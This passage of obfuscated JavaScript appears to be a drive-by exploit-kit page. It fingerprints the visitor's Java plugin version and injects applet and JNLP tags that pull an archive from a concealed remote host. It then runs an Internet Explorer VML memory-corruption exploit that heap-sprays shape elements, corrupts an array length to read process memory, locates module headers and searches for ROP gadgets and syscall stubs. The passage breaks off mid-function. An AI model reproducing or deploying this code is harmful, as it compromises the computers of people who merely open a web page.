  1736.                           return 0
  1737.                       }
  1738.                       if (f[e] == 3 || (f[e] == 2.8 && !a)) {
  1739.                           return 1
  1740.                       }
  1741.                       if (!b.nonAppletDetectionOk(b.version0)) {
  1742.                           if (f[e] == 2 || (f[e] == 1 && !a)) {
  1743.                               return 1
  1744.                           }
  1745.                       }
  1746.                       return 0
  1747.                   },
  1748.                   should_Insert_Query_Any: function () {
  1749.                       var b = this,
  1750.                           a;
  1751.                       for (a = 0; a < b.allowed.length; a++) {
  1752.                           if (b.should_Insert_Query(a)) {
  1753.                               return 1
  1754.                           }
  1755.                       }
  1756.                       return 0
  1757.                   },
  1758.                   query: function (f) {
  1759.                       var j, a = this,
  1760.                           i = a.$,
  1761.                           d = a.$$,
  1762.                           k = null,
  1763.                           l = null,
  1764.                           b = a.results,
  1765.                           c, h, g = a.HTML[f];
  1766.                       if (!g || !g.obj() || b[f][0] || d.bridgeDisabled || (i.dbug && d.OTF < 3)) {
  1767.                           return
  1768.                       }
  1769.                       c = g.obj();
  1770.                       h = g.readyState();
  1771.                       if (1) {
  1772.                           try {
  1773.                               k = i.getNum(c.getVersion() + "");
  1774.                               l = c.getVendor() + "";
  1775.                               c.statusbar(i.win.loaded ? " " : " ")
  1776.                           } catch (j) {};
  1777.                           if (k && i.isStrNum(k)) {
  1778.                               b[f] = [k, l];
  1779.                               a.active[f] = 2
  1780.                           }
  1781.                       }
  1782.                   },
  1783.                   isRange: function (a) {
  1784.                       return (/^[<>]/).test(a || "") ? (a.charAt(0) == ">" ? 1 : -1) : 0
  1785.                   },
  1786.                   setRange: function (b, a) {
  1787.                       return (b ? (b > 0 ? ">" : "<") : "") + (this.$.isString(a) ? a : "")
  1788.                   },
  1789.                   insertJavaTag: function (g, n, h, o, m) {
  1790.                       var e = this,
  1791.                           c = e.$,
  1792.                           k = e.$$,
  1793.                           r = "A.class",
  1794.                           b = c.file.getValid(k),
  1795.                           f = b.name + b.ext,
  1796.                           q = b.path;
  1797.                       var i = ["archive", f, "code", r],
  1798.                           l = (o ? ["width", o] : []).concat(m ? ["height", m] : []),
  1799.                           j = ["mayscript", "true"],
  1800.                           p = ["scriptable", "true", "codebase_lookup", "false"].concat(j),
  1801.                           a = k.navigator,
  1802.                           d = !c.browser.isIE && a.mimeObj && a.mimeObj.type ? a.mimeObj.type : k.mimeType[0];
  1803.                       if (g == 1) {
  1804.                           return c.browser.isIE ? c.DOM.insert("object", ["type", d].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n) : c.DOM.insert("object", ["type", d].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n)
  1805.                       }
  1806.                       if (g == 2) {
  1807.                           return c.browser.isIE ? c.DOM.insert("applet", ["alt", h].concat(j).concat(i).concat(l), ["codebase", q].concat(p), h, k, 0, n) : c.DOM.insert("applet", ["codebase", q, "alt", h].concat(j).concat(i).concat(l), [].concat(p), h, k, 0, n)
  1808.                       }
  1809.                       if (g == 3) {
  1810.                           return c.browser.isIE ? c.DOM.insert("object", ["classid", k.classID].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n) : c.DOM.insert()
  1811.                       }
  1812.                       if (g == 4) {
  1813.                           return c.DOM.insert("embed", ["codebase", q].concat(i).concat(["type", d]).concat(p).concat(l), [], h, k, 0, n)
  1814.                       }
  1815.                   },
  1816.                   insert_Query_Any: function (h) {
  1817.                       var b = this,
  1818.                           d = b.$,
  1819.                           c = b.$$,
  1820.                           f = b.results,
  1821.                           i = b.HTML,
  1822.                           a = d.DOM.altHTML,
  1823.                           e, g = d.file.getValid(c);
  1824.                       if (b.should_Insert_Query(0)) {
  1825.                           if (c.OTF < 2) {
  1826.                               c.OTF = 2
  1827.                           };
  1828.                           f[0] = [0, 0];
  1829.                           e = h ? b.codebase.isMin(h) : b.codebase.search();
  1830.                           if (e) {
  1831.                               f[0][0] = h ? b.setRange(e, h) : e
  1832.                           }
  1833.                           b.active[0] = e ? 1.5 : -1
  1834.                       }
  1835.                       if (!g) {
  1836.                           return b.getResult()
  1837.                       }
  1838.                       if (!b.DummySpanTagHTML) {
  1839.                           b.DummySpanTagHTML = d.DOM.insert("", [], [], a)
  1840.                       }
  1841.                       if (b.should_Insert_Query(1)) {
  1842.                           if (c.OTF < 2) {
  1843.                               c.OTF = 2
  1844.                           };
  1845.                           i[1] = b.insertJavaTag(1, 0, a);
  1846.                           f[1] = [0, 0];
  1847.                           b.query(1)
  1848.                       }
  1849.                       if (b.should_Insert_Query(2)) {
  1850.                           if (c.OTF < 2) {
  1851.                               c.OTF = 2
  1852.                           };
  1853.                           i[2] = b.insertJavaTag(2, 0, a);
  1854.                           f[2] = [0, 0];
  1855.                           b.query(2)
  1856.                       }
  1857.                       if (b.should_Insert_Query(3)) {
  1858.                           if (c.OTF < 2) {
  1859.                               c.OTF = 2
  1860.                           };
  1861.                           i[3] = b.insertJavaTag(3, 0, a);
  1862.                           f[3] = [0, 0];
  1863.                           b.query(3)
  1864.                       }
  1865.                       if (d.DOM.isEnabled.objectTag()) {
  1866.                           if (!b.DummyObjTagHTML && (i[1] || i[2])) {
  1867.                               b.DummyObjTagHTML = d.DOM.insert("object", ["type", c.mimeType_dummy], [], a)
  1868.                           }
  1869.                           if (!b.DummyObjTagHTML2 && i[3]) {
  1870.                               b.DummyObjTagHTML2 = d.DOM.insert("object", ["classid", c.classID_dummy], [], a)
  1871.                           }
  1872.                       }
  1873.                       c.NOTF.begin();
  1874.                       return b.getResult()
  1875.                   }
  1876.               },
  1877.               NOTF: {
  1878.                   $: 1,
  1879.                   count: 0,
  1880.                   countMax: 25,
  1881.                   intervalLength: 250,
  1882.                   begin: function () {
  1883.                       var c = this,
  1884.                           b = c.$,
  1885.                           a = c.$$;
  1886.                       if (a.OTF < 3 && c.shouldContinueQuery()) {
  1887.                           a.OTF = 3;
  1888.                           c.onIntervalQuery = b.ev.handler(c.$$onIntervalQuery, c);
  1889.                           if (!b.win.loaded) {
  1890.                               b.win.funcs0.push([c.winOnLoadQuery, c])
  1891.                           }
  1892.                           setTimeout(c.onIntervalQuery, c.intervalLength)
  1893.                       }
  1894.                   },
  1895.                   shouldContinueQuery: function () {
  1896.                       var f = this,
  1897.                           e = f.$,
  1898.                           c = f.$$,
  1899.                           b = c.applet,
  1900.                           a, d = 0;
  1901.                       if (e.win.loaded && f.count > f.countMax) {
  1902.                           return 0
  1903.                       }
  1904.                       for (a = 0; a < b.results.length; a++) {
  1905.                           if (b.HTML[a]) {
  1906.                               if (!d && !b.results[a][0] && (b.allowed[a] >= 2 || (b.allowed[a] == 1 && !b.getResult()[0])) && f.isAppletActive(a) >= 0) {
  1907.                                   return 1
  1908.                               }
  1909.                           }
  1910.                       };
  1911.                       return 0
  1912.                   },
  1913.                   isJavaActive: function (d) {
  1914.                       var f = this,
  1915.                           c = f.$$,
  1916.                           a, b, e = -9;
  1917.                       for (a = 0; a < c.applet.HTML.length; a++) {
  1918.                           b = f.isAppletActive(a, d);
  1919.                           if (b > e) {
  1920.                               e = b
  1921.                           }
  1922.                       }
  1923.                       return e
  1924.                   },
  1925.                   isAppletActive: function (e, g) {
  1926.                       var h = this,
  1927.                           f = h.$,
  1928.                           b = h.$$,
  1929.                           l = b.navigator,
  1930.                           a = b.applet,
  1931.                           i = a.HTML[e],
  1932.                           d = a.active,
  1933.                           k, c = 0,
  1934.                           j, m = d[e];
  1935.                       if (g || m >= 1.5 || !i || !i.span) {
  1936.                           return m
  1937.                       };
  1938.                       j = f.DOM.getTagStatus(i, a.DummySpanTagHTML, a.DummyObjTagHTML, a.DummyObjTagHTML2, h.count);
  1939.                       for (k = 0; k < d.length; k++) {
  1940.                           if (d[k] > 0) {
  1941.                               c = 1
  1942.                           }
  1943.                       }
  1944.                       if (j != 1) {
  1945.                           m = j
  1946.                       } else {
  1947.                           if (f.browser.isIE || (b.version0 && l.javaEnabled() && l.mimeObj && (i.tagName == "object" || c))) {
  1948.                               m = 1
  1949.                           } else {
  1950.                               m = 0
  1951.                           }
  1952.                       }
  1953.                       d[e] = m;
  1954.                       return m
  1955.                   },
  1956.                   winOnLoadQuery: function (c, d) {
  1957.                       var b = d.$$,
  1958.                           a;
  1959.                       if (b.OTF == 3) {
  1960.                           a = d.queryAllApplets();
  1961.                           d.queryCompleted(a)
  1962.                       }
  1963.                   },
  1964.                   $$onIntervalQuery: function (d) {
  1965.                       var c = d.$,
  1966.                           b = d.$$,
  1967.                           a;
  1968.                       if (b.OTF == 3) {
  1969.                           a = d.queryAllApplets();
  1970.                           if (!d.shouldContinueQuery()) {
  1971.                               d.queryCompleted(a)
  1972.                           }
  1973.                       }
  1974.                       d.count++;
  1975.                       if (b.OTF == 3) {
  1976.                           setTimeout(d.onIntervalQuery, d.intervalLength)
  1977.                       }
  1978.                   },
  1979.                   queryAllApplets: function () {
  1980.                       var f = this,
  1981.                           e = f.$,
  1982.                           d = f.$$,
  1983.                           c = d.applet,
  1984.                           b, a;
  1985.                       for (b = 0; b < c.results.length; b++) {
  1986.                           c.query(b)
  1987.                       }
  1988.                       a = c.getResult();
  1989.                       return a
  1990.                   },
  1991.                   queryCompleted: function (c) {
  1992.                       var g = this,
  1993.                           f = g.$,
  1994.                           e = g.$$,
  1995.                           d = e.applet,
  1996.                           b;
  1997.                       if (e.OTF >= 4) {
  1998.                           return
  1999.                       }
  2000.                       e.OTF = 4;
  2001.                       var a = g.isJavaActive();
  2002.                       for (b = 0; b < d.HTML.length; b++) {
  2003.                           if (d.HTML[b] && d.HTML[b].DELETE) {
  2004.                               f.DOM.emptyNode(d.HTML[b].span);
  2005.                               d.HTML[b].span = null
  2006.                           }
  2007.                       }
  2008.                       e.setPluginStatus(c[0], c[1], 0);
  2009.                       if (f.onDetectionDone && e.funcs) {
  2010.                           f.ev.callArray(e.funcs)
  2011.                       }
  2012.                       if (f.DOM) {
  2013.                           f.DOM.onDoneEmptyDiv()
  2014.                       }
  2015.                   }
  2016.               },
  2017.               zz: 0
  2018.           },
  2019.           zz: 0
  2020.       }
  2021.   };
  2022.   ldklfgo.INIT();
  2023.  
  2024.   function fixNumber(num) {
  2025.       function beautify(match, number) {
  2026.           var res = "000" + match;
  2027.           return (res).substr(res.length - 3)
  2028.       }
  2029.       try {
  2030.           var n = num.split(/[\_,.]+/);
  2031.           result = n[0] + n[1].replace(/\d+/g, beautify) + n[2].replace(/\d+/g, beautify);
  2032.           return n.length > 3 ? result + n[3].replace(/\d+/g, beautify) : result;
  2033.       } catch (e) {}
  2034.   }
  2035.   if (window.sf325gtgs7sfdj && !window.sf325gtgs7sfdf1 && !window.sf325gtgs7sfdf2 && !window.sf325gtgs7sfds) {
  2036.       function getData() {
  2037.           return DzBvtIX(yLefZnFq10);
  2038.       }
  2039.  
  2040.       function getKolaio() {
  2041.           return DzBvtIX(yLefZnFq11);
  2042.       }
  2043.  
  2044.       function getTxl() {
  2045.           return DzBvtIX(yLefZnFq12);
  2046.       }
  2047.  
  2048.       function getJnlp() {
  2049.           return DzBvtIX(yLefZnFq13);
  2050.       }
  2051.  
  2052.       function getJnlpHref() {
  2053.           return DzBvtIX(yLefZnFq14);
  2054.       }
  2055.       var jv = ldklfgo.getVersion("Java"),
  2056.           targetVersion = "1.7.0.10",
  2057.           klqwght = document;;
  2058.       if (!!jv && fixNumber(jv) >= fixNumber(targetVersion)) {
  2059.           var tmp1 = '<object classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93"><param name="javafx_version" value="2.1+"/><param name="jnlp_href" value="';
  2060.           klqwght[klfg1 + klfg2](tmp1 + '' + getJnlpHref() + '"/><param name="jnlp_embedded" value="' + getJnlp() + '"/><param name="exteeec" value="' + getData() + '"/></object>');
  2061.       } else {
  2062.           if (navigator.userAgent.indexOf('MSIE') >= 0) {
  2063.               klqwght[klfg1 + klfg2]('<object classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93"><param name="code" value="Globals"><param name="archive" value="http://' + getKolaio() + '/' + getTxl() + '"><param name="type" value="application/x-java-applet"/><param name="exteeec" value="' + getData() + '"/></object>');
  2064.           } else {
  2065.               klqwght[klfg1 + klfg2]('<applet code="Globals" archive="http://' + getKolaio() + '/' + getTxl() + '"><param name="exteeec" value="' + getData() + '"/></applet>');
  2066.           }
  2067.       }
  2068.   }
  2069.  
  2070.  
  2071.  
  2072.  
  2073.   var W0QplvN6SwW, LomfebpoTi3pzw, V6u782csRps, RnuIzv22u2, AlfspR7hAB1aWn, D7U2jmbt, XsN0Kls90jvJ0, IgROeKtzNxo5iq, AzPrnStabJ6, EtH03zUxI, Ost91gx7ymFvL = [],
  2074.       ds = "#",
  2075.       ZNiyt1 = 'Code',
  2076.       ZNiyt2 = 'mChar',
  2077.       sh = 'sh' + 'r' + 'ape',
  2078.       F5FoaGw26 = 'fro' + ZNiyt2 + ZNiyt1;
  2079.   sh = sh.replace('r', '');
  2080.  
  2081.   function rf(line) {
  2082.       var result = "",
  2083.           array = line.match(/(..)/g);
  2084.       for (var i = 0; i < array.length; i++) {
  2085.           result += String[F5FoaGw26](parseInt(array[i], 32) / 2);
  2086.       }
  2087.       var SnkDxt = navigator.userAgent.toLowerCase();
  2088.       var k = /trident[\/\s]\d+/i.test(SnkDxt);
  2089.       return !k ? line : result;
  2090.   };
  2091.   var ZNiyt6OkD1 = rf('6u7c626o'),
  2092.       ZNiyt6OkD2 = rf('7678746u6m6a');
  2093.   var RPaEs9N8 = 'push';
  2094.   V6u782csRps = 'cssText', LomfebpoTi3pzw = rf('66746a62786a56787i6o6a566g6a6a78');
  2095.   W0QplvN6SwW = rf('4e6a785a746o323436');
  2096.   var d2 = '4q4o',
  2097.       d4 = '666a76',
  2098.       d3 = '6a767062';
  2099.   AlfspR7hAB1aWn = 'nam' + rf(d3) + rf(d4), D7U2jmbt = 'OCegKyTOD1n';
  2100.   var W3701HBo = ['ml', rf('6u6c782q666u6q3k7c'), 'cros', rf('6g6a6q62762q6q6i'), rf('6s3k7666'), 'ur'];
  2101.   AzPrnStabJ6 = ds + rf('686a6c627a6o78') + ds + 'V' + rf(d2);
  2102.   EtH03zUxI = D7U2jmbt + '' + rf('3k2k207m20646a6g627c6i6u743k7a746o2g') + ds + rf('686a6c627a6o78') + ds + 'V' + rf('4q4o2i3m20686i76706o627i3k206i6s6o6i6s6a2q646o6u666m3m207q');
  2103.   IgROeKtzNxo5iq = 'OCegKyTOD1n:' + sh;
  2104.   XsN0Kls90jvJ0 = W3701HBo.reverse().join('');
  2105.   Ost91gx7ymFvL = ['XsN0Kls90jvJ0', XsN0Kls90jvJ0, AzPrnStabJ6];
  2106.   Ost91gx7ymFvL[RPaEs9N8](AzPrnStabJ6);
  2107.   RnuIzv22u2 = document[AlfspR7hAB1aWn];
  2108.   try {
  2109.       wondow.docume() = XsN0Kls90jvJ0;
  2110.   } catch (e) {
  2111.       try {
  2112.           RnuIzv22u2.add(D7U2jmbt, Ost91gx7ymFvL[1], Ost91gx7ymFvL[3]);
  2113.       } catch (e) {}
  2114.   }
  2115.   document[LomfebpoTi3pzw]()[V6u782csRps] = EtH03zUxI;
  2116.   window[W0QplvN6SwW] = function () {
  2117.       return DzBvtIX(yLefZnFq15)
  2118.   };
  2119.   var v1 = "<OCegKyTOD1n:" + ZNiyt6OkD1 + "><OCegKyTOD1n:" + ZNiyt6OkD2 + " id='Wi5E20RH00zFe2'></OCegKyTOD1n:" + ZNiyt6OkD2 + "></OCegKyTOD1n:" + ZNiyt6OkD1 + ">";
  2120.   var v2 = "<OCegKyTOD1n:" + ZNiyt6OkD1 + "><OCegKyTOD1n:" + ZNiyt6OkD2 + " id='NZSach8Wvzxwk'></OCegKyTOD1n:" + ZNiyt6OkD2 + "></OCegKyTOD1n:" + ZNiyt6OkD1 + ">";
  2121.   document.body.insertAdjacentHTML('afterbegin', v1);
  2122.   document.body.insertAdjacentHTML('afterbegin', v2);
  2123.   WCEu030eOj45aj7 = [];
  2124.   BQ5HArenySxXbRK = [];
  2125.   Yz3Mv6sr57Rm02j = [];
  2126.   var XnvDIGGyKl74wJz = [],
  2127.       NN3660ltjhaYGppy = null,
  2128.       QItxBCpozebvVe63 = null,
  2129.       S2zquKfibep = null,
  2130.       MbuxGR0wGVi6v0rl = null,
  2131.       Kq14sjaecIvjCiz = null,
  2132.       He2med25xk52er = null,
  2133.       XkoQWygiZvin1W = null,
  2134.       Y71CEpRpXyhA = null,
  2135.       RG23ZnZo = null,
  2136.       Fi9KqVtL1 = 'tyle',
  2137.       Ms3dzcww8Hr1EkAg = rf('686276') + 'hs' + Fi9KqVtL1,
  2138.       NafvuQGcyeermKes = rf('666g6274466u686a4278'),
  2139.       Tj8Wzs8yf = rf('746u7862786i6u6s'),
  2140.       Nh2nSf02TPV = rf('706274766a4i6s78'),
  2141.       H58Aee0Zgt = document,
  2142.       KU5rLr338F5IY = rf('6e6a784a6o6a6q6a6s78447i4i68'),
  2143.       VY6Kb8hkp = rf('7a6s6a766662706a'),
  2144.       BCT9BH52McQ0 = 'body',
  2145.       F46Weitzwl = rf('6270706a6s68466g6i6o68'),
  2146.       NUgekieSpll1JR9 = rf('66746a62786a4a6o6a6q6a6s78'),
  2147.       QCB5s5eLeFaG = String,
  2148.       P8egkdak5xy9oaF = '',
  2149.       JG5ra17hh2ky0H4 = '',
  2150.       S7lpImaaMlG7rs = '',
  2151.       Wt8Z9B0s6E9fqG = '',
  2152.       NmcS5u5e98ahs = '',
  2153.       E6W0l19r = rf('627474627i'),
  2154.       MH0i18y5VitI = null,
  2155.       NMTrsa6T7EmC = null,
  2156.       H3d1ae1bQbQ6ru = null,
  2157.       Nz8e82c9N = null,
  2158.       DbbKEOgX6 = null,
  2159.       Pvb2aXe3J5zxH = null,
  2160.       K4Zdo27nmrh9Yae = null;
  2161.   DjxzqmybMwsddBtD = 0;
  2162.   ZFBroCwI1X9xXcBm = false;
  2163.  
  2164.   function FiH6q4wPHe(Hod1lZfhxytg) {
  2165.       return parseInt(Hod1lZfhxytg)
  2166.   }
  2167.  
  2168.   function Zgji6YHE5tgl517(Hod1lZfhxytg) {
  2169.       return window[VY6Kb8hkp](Hod1lZfhxytg)
  2170.   }
  2171.  
  2172.   function RQdzteXztm5(Hod1lZfhxytg) {
  2173.       return QCB5s5eLeFaG[F5FoaGw26](Hod1lZfhxytg)
  2174.   }
  2175.  
  2176.   function Oe6seFk4(GgN, Jx7, HGZwdt) {
  2177.       if (GgN.length < Jx7.length) {
  2178.           return -1
  2179.       }
  2180.       if (HGZwdt) {
  2181.           if (GgN.substr(GgN[NafvuQGcyeermKes](0) == 0 ? 1 : 0, Jx7.length) == Jx7) {
  2182.               return 0
  2183.           }
  2184.       } else {
  2185.           var RE2 = GgN.length - Jx7.length;
  2186.           if (GgN[NafvuQGcyeermKes](GgN.length - 1) == 0) {
  2187.               RE2++
  2188.           }
  2189.           if (GgN.substr(RE2, Jx7.length) == Jx7) {
  2190.               return RE2
  2191.           }
  2192.       }
  2193.       return -1
  2194.   }
  2195.  
  2196.   function TkbjzgdmiaTQn8SI() {
  2197.       try {
  2198.           var NA0 = navigator.userAgent.toLowerCase();
  2199.           var N0P0b = /MSIE[\/\s]\d+/i.test(NA0);
  2200.           var Uy0m2 = /WOW64;/i.test(NA0);
  2201.           var AFph9 = /Win64;/i.test(NA0);
  2202.           var HX0 = /Trident\/(\d)/i.test(NA0) ? parseInt(RegExp.$1) : null;
  2203.           if (!AFph9 && N0P0b) {
  2204.               DjxzqmybMwsddBtD = HX0;
  2205.               ZFBroCwI1X9xXcBm = Uy0m2;
  2206.               return true
  2207.           }
  2208.       } catch (e) {}
  2209.       return false
  2210.   }
  2211.  
  2212.   function NflDkETu0lq6h(Ym2) {
  2213.       var T7n = '';
  2214.       for (var Sg9rwg = 0; Sg9rwg < Ym2.length; Sg9rwg++) {
  2215.           var RqvBn8 = Ym2[NafvuQGcyeermKes](Sg9rwg);
  2216.           T7n += QCB5s5eLeFaG[F5FoaGw26](RqvBn8 & 0xff);
  2217.           T7n += QCB5s5eLeFaG[F5FoaGw26]((RqvBn8 & 0xff00) >> 8)
  2218.       }
  2219.       return T7n
  2220.   }
  2221.  
  2222.   function FaujblKQVv(KK5l) {
  2223.       var RXXr = '';
  2224.       if (KK5l.length % 2) {
  2225.           KK5l += Zgji6YHE5tgl517('%00')
  2226.       }
  2227.       for (var Oy6 = 0; Oy6 < KK5l.length; Oy6 += 2) {
  2228.           RXXr += '%u';
  2229.           RXXr += XilbHy3nskMfrWx7(KK5l[NafvuQGcyeermKes](Oy6 + 1), 2);
  2230.           RXXr += XilbHy3nskMfrWx7(KK5l[NafvuQGcyeermKes](Oy6), 2)
  2231.       }
  2232.       return RXXr
  2233.   }
  2234.  
  2235.   function A5LuDuxz6zjF(K102H0) {
  2236.       return NflDkETu0lq6h(Zgji6YHE5tgl517(R6l8mMJLkBjh(K102H0)))
  2237.   }
  2238.  
  2239.   function R6l8mMJLkBjh(VeO3zs) {
  2240.       var UtMk = VeO3zs & 0xFFFF;
  2241.       var HJxmoL = (VeO3zs >> 16) & 0xFFFF;
  2242.       return '%u' + XilbHy3nskMfrWx7(UtMk, 4) + '%u' + XilbHy3nskMfrWx7(HJxmoL, 4)
  2243.   }
  2244.  
  2245.   function Y8tAVJvTlbcyJd6(A3A5) {
  2246.       EmlpiZcrA28z1[Ms3dzcww8Hr1EkAg][E6W0l19r].item(0x44) = A3A5;
  2247.       return BQ5HArenySxXbRK[MbuxGR0wGVi6v0rl].marginLeft
  2248.   }
  2249.  
  2250.   function XilbHy3nskMfrWx7(C7G, Fh2B7) {
  2251.       var K4a3 = C7G.toString(16);
  2252.       while (K4a3.length < Fh2B7) {
  2253.           K4a3 = '0' + K4a3
  2254.       }
  2255.       return K4a3
  2256.   }
  2257.  
  2258.   function WsbBryJ9gnAhJgL(AkEwA) {
  2259.       var O8dQk = '';
  2260.       if (AkEwA.length > 1) {
  2261.           O8dQk = XilbHy3nskMfrWx7(AkEwA[NafvuQGcyeermKes](1), 4) + XilbHy3nskMfrWx7(AkEwA[NafvuQGcyeermKes](0), 4)
  2262.       } else {
  2263.           O8dQk = XilbHy3nskMfrWx7(AkEwA[NafvuQGcyeermKes](0), 4)
  2264.       }
  2265.       return parseInt(O8dQk, 16)
  2266.   }
  2267.  
  2268.   function L5tsr4aVYd(BrjT) {
  2269.       for (var Z8p = 0; Z8p < 3; Z8p++) {
  2270.           var Dy06 = Y8tAVJvTlbcyJd6(BrjT + Z8p);
  2271.           if (Dy06) {
  2272.               var F7f = WsbBryJ9gnAhJgL(Dy06);
  2273.               F7f <<= Z8p * 8;
  2274.               return F7f
  2275.           }
  2276.       }
  2277.       return 0
  2278.   }
  2279.  
  2280.   function RnwlwHszznGt() {
  2281.       var N4p6 = L5tsr4aVYd(0x7ffe0268) & 0x0f;
  2282.       var Gy99Bw = N4p6 ? L5tsr4aVYd(0x7ffe0264) : null;
  2283.       var Gbye = L5tsr4aVYd(0x7ffe026c);
  2284.       var Fog9 = L5tsr4aVYd(0x7ffe0270);
  2285.       if (Gbye == 5 && (Fog9 == 1 || Fog9 == 2) && Gy99Bw == 1) {
  2286.           return 1
  2287.       } else if (Gbye == 6 && Fog9 == 0 && Gy99Bw == 1) {
  2288.           return 2
  2289.       } else if (Gbye == 6 && Fog9 == 1 && Gy99Bw == 1) {
  2290.           return 3
  2291.       } else {
  2292.           return 0
  2293.       }
  2294.   }
  2295.  
  2296.   function V6y11x0d() {
  2297.       return ZFBroCwI1X9xXcBm ? L5tsr4aVYd(0x7ffe0340) : L5tsr4aVYd(0x7ffe0300);
  2298.   }
  2299.  
  2300.   function YMT9Owombshh6ru(PSgw) {
  2301.       var C18 = null;
  2302.       if (PSgw) {
  2303.           PSgw &= 0xffff0000;
  2304.           while (1) {
  2305.               if ((L5tsr4aVYd(PSgw) & 0xffff) == 0x5a4d) {
  2306.                   C18 = PSgw;
  2307.                   break
  2308.               }
  2309.               PSgw -= 0x10000
  2310.           }
  2311.           if (C18) {
  2312.               var Y6crF = C18 + L5tsr4aVYd(C18 + 0x3c);
  2313.               if (L5tsr4aVYd(Y6crF) == 0x4550) {
  2314.                   var GAf = L5tsr4aVYd(Y6crF + 0x1c);
  2315.                   var HnU = L5tsr4aVYd(Y6crF + 0x2c);
  2316.                   if (GAf && HnU) {
  2317.                       return {
  2318.                           JQi2Vx49O3Zxv: C18 + HnU,
  2319.                           Jdv3Qns2XwPzxd: C18 + HnU + GAf
  2320.                       }
  2321.                   }
  2322.               }
  2323.           }
  2324.       }
  2325.       return null
  2326.   }
  2327.  
  2328.   function EJ539Jlsvr7i4u5() {
  2329.       for (var JQ0eb = 0; JQ0eb < 0x400; JQ0eb++) {
  2330.           WCEu030eOj45aj7[JQ0eb] = document.createElement('OCegKyTOD1n:' + sh);
  2331.           document.body.appendChild(WCEu030eOj45aj7[JQ0eb])
  2332.       }
  2333.       EmlpiZcrA28z1 = H58Aee0Zgt[KU5rLr338F5IY]('Wi5E20RH00zFe2');
  2334.       for (var JQ0eb = 0; JQ0eb < 0x400; JQ0eb++) {
  2335.           BQ5HArenySxXbRK[JQ0eb] = WCEu030eOj45aj7[JQ0eb]._vgRuntimeStyle
  2336.       }
  2337.       for (var JQ0eb = 0; JQ0eb < 0x400; JQ0eb++) {
  2338.           try {
  2339.               BQ5HArenySxXbRK[JQ0eb][Tj8Wzs8yf];
  2340.           } catch (e) {}
  2341.           if (JQ0eb == 0x300) {
  2342.               EmlpiZcrA28z1[Ms3dzcww8Hr1EkAg] = '1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44'
  2343.           }
  2344.       }
  2345.       He2med25xk52er = EmlpiZcrA28z1[Ms3dzcww8Hr1EkAg][E6W0l19r].length;
  2346.       try {
  2347.           EmlpiZcrA28z1[Ms3dzcww8Hr1EkAg][E6W0l19r].length = 0 - 1
  2348.       } catch (NqMtQ8) {
  2349.           return false
  2350.       }
  2351.       EmlpiZcrA28z1[Ms3dzcww8Hr1EkAg][E6W0l19r].length = 0x45;
  2352.       for (var JQ0eb = 0; JQ0eb < 0x400; JQ0eb++) {
  2353.           BQ5HArenySxXbRK[JQ0eb].marginLeft = 'a';
  2354.           var DJsiS = EmlpiZcrA28z1[Ms3dzcww8Hr1EkAg][E6W0l19r].item(0x44);
  2355.           if (DJsiS > 0) {
  2356.               Kq14sjaecIvjCiz = DJsiS;
  2357.               MbuxGR0wGVi6v0rl = JQ0eb;
  2358.               return true
  2359.           }
  2360.       }
  2361.       return false
  2362.   }
  2363.  
  2364.   function IgNzi9VrUlum9() {
  2365.       if (EmlpiZcrA28z1) {
  2366.           if (Kq14sjaecIvjCiz) {
  2367.               EmlpiZcrA28z1[Ms3dzcww8Hr1EkAg][E6W0l19r].item(0x44) = Kq14sjaecIvjCiz
  2368.           }
  2369.           EmlpiZcrA28z1[Ms3dzcww8Hr1EkAg][E6W0l19r].length = He2med25xk52er
  2370.       }
  2371.   }
  2372.  
  2373.   function Buw6xxAnbVdebai() {
  2374.       var BpyT, ErV, Obb199;
  2375.       if (!TkbjzgdmiaTQn8SI()) {
  2376.           return;
  2377.       }
  2378.       var Ao91 = RnwlwHszznGt();
  2379.       if (Ao91 == 0) {
  2380.           return
  2381.       }
  2382.       var E1gcS = V6y11x0d();
  2383.       if (!E1gcS) {
  2384.           return
  2385.       }
  2386.       var XI4 = YMT9Owombshh6ru(E1gcS);
  2387.       if (!XI4) {
  2388.           return
  2389.       }
  2390.       var Dr3p = Zgji6YHE5tgl517('%94%c3');
  2391.       var O4Re4 = Zgji6YHE5tgl517('%5a%c3');
  2392.       var Z3cNb1 = Zgji6YHE5tgl517('%ff%06%c3');
  2393.       var OIc = Zgji6YHE5tgl517('%ff%07%c3');
  2394.       var ME52sO = Zgji6YHE5tgl517('%5e%c3');
  2395.       var FC87k = Zgji6YHE5tgl517('%5f%c3');
  2396.       var Njgz = null;
  2397.       var TBs5fx = null;
  2398.       if (ZFBroCwI1X9xXcBm) {
  2399.           TBs5fx = Zgji6YHE5tgl517('%b8%4d');
  2400.           Njgz = Zgji6YHE5tgl517('%33%c9%8d%54%24%04%64%ff%15%c0');
  2401.       } else {
  2402.           if (Ao91 == 1) {
  2403.               TBs5fx = Zgji6YHE5tgl517('%b8%89')
  2404.           } else if (Ao91 == 2) {
  2405.               TBs5fx = Zgji6YHE5tgl517('%b8%d2')
  2406.           } else if (Ao91 == 3) {
  2407.               TBs5fx = Zgji6YHE5tgl517('%b8%d7')
  2408.           }
  2409.           Njgz = Zgji6YHE5tgl517('%ba%00%03%fe%7f%ff%12%c2%14');
  2410.       }
  2411.       var Cto2k8 = null;
  2412.       var MvgbSF = null;
  2413.       var ErV = null;
  2414.       var IsU = null;
  2415.       var Sf4 = null;
  2416.       var W70ne = XI4.JQi2Vx49O3Zxv;
  2417.       M8Wu = XI4.Jdv3Qns2XwPzxd;
  2418.       while (W70ne < M8Wu) {
  2419.           var DYey5 = Y8tAVJvTlbcyJd6(W70ne);
  2420.           if (DYey5) {
  2421.               var I16 = null;
  2422.               var B3iO = NflDkETu0lq6h(DYey5);
  2423.               if (!Nz8e82c9N && (Sf4 || (I16 = Oe6seFk4(B3iO, TBs5fx, false)) != -1)) {
  2424.                   if (!Sf4) {
  2425.                       Sf4 = W70ne + I16
  2426.                   } else if (Oe6seFk4(B3iO, Njgz, true) != -1) {
  2427.                       Nz8e82c9N = Sf4
  2428.                   } else {
  2429.                       Sf4 = null
  2430.                   }
  2431.               }
  2432.               if (!NMTrsa6T7EmC && (I16 = B3iO.indexOf(Dr3p)) != -1) {
  2433.                   NMTrsa6T7EmC = W70ne + I16
  2434.               }
